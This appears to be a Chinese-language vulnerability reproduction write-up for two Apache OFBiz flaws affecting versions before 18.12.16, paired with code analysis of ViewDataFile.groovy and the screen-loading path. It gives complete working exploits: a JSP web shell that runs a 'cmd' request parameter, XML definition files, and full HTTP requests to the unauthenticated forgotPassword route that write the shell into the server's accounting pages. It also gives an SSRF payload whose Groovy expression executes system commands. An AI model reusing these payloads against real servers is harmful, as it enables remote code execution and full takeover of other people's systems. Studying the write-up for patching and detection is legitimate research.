1. 环境搭建
下载地址:https://archive.apache.org/dist/ofbiz/
解压后用 IDEA 打开,点击右侧栏 Gradle 中的 build 之后会生成一个 biuld 目录,该目录下面会生成一个 ofbiz.jar,Run/Debug Configurations 中会自动生成一个 Gradle 配置项;
新增 JAR Application,添加指定 ofbiz.jar 路径。
启动这个jar。
能成功访问 https://localhost:8443/webtools 就说明环境搭好了。
官方公告:
https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
漏洞描述:
影响版本:
Apache OFBiz < 18.12.16
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="60" position="0"></field>
</record>
</data-file>
</data-files>
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
python -m http.server 8888
请求包:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
Cookie: OFBiz.Visitor=10100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
DATAFILE_LOCATION=http://127.0.0.1:8888/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8888/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
访问 https://127.0.0.1:8443/accounting/index.jsp?cmd=calc,成功执行命令。
权限绕过的原理和之前一样,通过不需要鉴权的路由来绕过。触发命令执行的文件不同,之前利用的是 ProgramExport.groovy,现在利用 ViewDataFile.groovy 。
解读一下 ViewDataFile.groovy 的作用:
1.从请求中获取多个参数的值;
2. DATAFILE_IS_URL 和 DEFINITION_IS_URL 的值表示 DATAFILE_LOCATION 和 DEFINITION_LOCATION 是否为一个 URL,为 ture 则直接创建URL对象,为 false 则将文件路径转换为 URL。
3. 从 DEFINITION_LOCATION 的 URL 地址获取文件中定义的数据文件的名称列表。满足 dataFileUrl && definitionUrl && definitionNames 为 true,则根据定义文件 DEFINITION_LOCATION 的内容和 DEFINITION_NAME 名称,从 DATAFILE_LOCATION 地址读取数据文件内容。
4. 将上面读取到的数据文件内容写入 DATAFILE_SAVE 指定的文件。
也就是说,该文件实现了一个数据读取和写入的功能,并且能解析 JSP 文件,也就是能通过写入JSP shell 来实现命令执行。
《OFBiz 的数据文件工具》 https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools
xml 文件中 data-file.name 表示数据文件名称(并非文件名),需与 POST 传入的 DEFINITION_NAME 的值一致,record.name 表示实体名称。field.name 表示实体字段的名称,也就是指向 DATAFILE_LOCATION 文件,读取数据文件后会使用该名称以键值对的形式保存。field.type 表示数据类型,field.length 表示字段的长度,需与实际数据长度一致,field.position 表示该字段开始读取的位置。
dataFileIsUrl 和definitionIsUrl 为true,表示文件地址为URL格式,所以 dataFileUrl 和 definitionUrl 分别为数据文件和定义文件的URL对象。
跟进 ModelDataFileReader.getModelDataFileReader(),要 new 一个 ModelDataFileReader 对象,在 createModelDataFiles() 中去读取并解析远程的xml文件,返回 ModelDataFileReader 对象,并从中获取数据文件名称。
接着跟进 DataFile.readFile(),同样调用了 ModelDataFileReader.getModelDataFileReader(),从中获取与 dataFileName 对应的 ModelDataFile 对象,包装成 DataFile 对象返回,其中包含了数据文件的结构信息。
然后调用 dataFile.readDataFile(fileUrl),逐行读取远程数据文件的内容,以键值对的形式保存到 DataFile 对象的实体字段中。
最后就是调用 dataFile.writeDataFile(dataFileSave),将 DataFile 对象中保存的数据文件内容写入到指定的文件中。
当从前端访问该 jsp 文件时,就会解析内容,实现命令执行。
https://issues.apache.org/jira/browse/OFBIZ-13132
漏洞描述:
由于Apache OFBiz在从 Groovy 加载文件时对 URL 的验证不足,导致远程攻击者可以通过服务器端请求伪造的方式向任意系统发起请求,并可能导致远程代码执行,成功利用此漏洞可能允许攻击者完全控制受影响的系统,包括访问敏感数据、执行任意命令或进行进一步的网络攻击。
影响版本:
Apache OFBiz < 18.12.16
写一个屏幕定义文件 ssrfpoc.xml,value 设为一段 groovy 表达式来执行命令:
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
<screen name="StatsDecorator">
<section>
<actions>
<set field="headerItem" value="${groovy:throw new Exception('cmd /c start calc'.execute().text);}"/>
<entity-one entity-name="FinAccount" value-field="finAccount"/>
</actions>
</section>
</screen>
</screens>
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: 127.0.0.1:8443
Cookie: OFBiz.Visitor=10100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
statsDecoratorLocation=http://127.0.0.1:8888/ssrfpoc.xml
从远程地址获取到名为 StatsDecorator 的屏幕定义内容。
也是逐层解析标签,然后执行并解析this.valueExdr表达式。
跟进创建 groovy 脚本实例,绑定了上下文数据。
run() 执行该脚本,调用 ProcessGroovyMethods.execute() 执行系统命令。
参考链接: